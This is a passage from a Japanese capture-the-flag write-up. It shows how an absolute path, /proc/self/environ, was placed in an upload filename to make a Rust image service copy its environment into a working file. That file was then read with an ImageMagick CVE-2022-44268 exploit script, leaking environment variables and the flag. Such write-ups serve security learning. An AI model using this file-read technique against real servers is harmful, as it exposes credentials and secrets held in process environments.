"timeout --signal=KILL 5s magick ./input -resize 640x480 -compose over -gravity southeast ./overlay.png -composite ./output.png",
])
.current_dir(working_directory)
.stdin(Stdio::null())
.stdout(Stdio::null())
.stderr(Stdio::piped())
.spawn()
.context("Failed to spawn")?;
let out = child
.wait_with_output()
.await
.context("Failed to read output")?;
if !out.status.success() {
bail!(
"image processing failed on {}:\n{}",
working_directory.display(),
std::str::from_utf8(&out.stderr)?
);
}
Ok(())
}
以下の部分に着目すると、指定したパスのファイルをworking_directoryのinput
ファイルにコピーする処理を行なっていることがわかります。
pub async fn process_image(working_directory: &Path, input_filename: &Path) -> Result<()> {
fs::copy(
working_directory.join(input_filename),
working_directory.join("input"),
)
ここではPath
がそのまま使用されているためinput_filename
に/proc/self/environ
を指定することができます。ちなみに、input_filename.file_name()
とすると/proc/self/environ
はenviron
と評価されます(参考)。実際に、create.rs
ではファイルの内容を書き込む処理で、file_name
メソッドが使用されています。
fs::write(
current_dir.join(file_name.file_name().unwrap_or("".as_ref())),
file_data,
)
input_filename
に/proc/self/environ
を指定した場合、working_directory.join(input_filename)
が/proc/self/environ
と評価されます(参考)。そのため、working_directoryのinput
に/proc/self/environ
の内容がコピーされます。
このinput
ファイルをCVE-2022-44268のexploitを介して読み込むことができれば、0byte問題が解決できそうです。
実際に、filename
を/proc/self/environ
としてリクエストを送信します。
Content-Disposition: form-data; name="file"; filename="/proc/self/environ"
Content-Type: image/png
すると、以下のエラーが返ってきます。/proc/self/environ
がコピーされたinput
ファイルが格納されているフォルダのパスがわかりました。
Failed to process image
Caused by:
image processing failed on ./data/43791dd6-a1eb-4fde-b798-1258ae702d18:
magick: no decode delegate for this image format `' @ error/constitute.c/ReadImage/741.
CVE-2022-44268のexploitを用いて/data/43791dd6-a1eb-4fde-b798-1258ae702d18/input
を読み込みます。無事にflagが取得できました。
$ python3 CVE-2022-44268.py --image network_dennou_sekai_man.png --file-to-read /data/43791dd6-a1eb-4fde-b798-1258ae702d18/input --output poisoned.png
# poisoned.pngをアップロード
$ python3 CVE-2022-44268.py --url https://certified-web.wanictf.org/view/86a1408d-4e7f-4277-8eb9-bb9585025358
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binHOSTNAME=7724dcb97f64APPIMAGE_EXTRACT_AND_RUN=1FLAG_B=FLAG{n0w_7hat_y0u_h4ve_7he_sec0nd_f1a9_y0u_4re_a_cert1f1ed_h4nk0_m@ster}RUST_LOG=hanko,tower_http=TRACE,INFOLISTEN_ADDR=0.0.0.0:3000HOME=/root
FLAG{n0w_7hat_y0u_h4ve_7he_sec0nd_f1a9_y0u_4re_a_cert1f1ed_h4nk0_m@ster}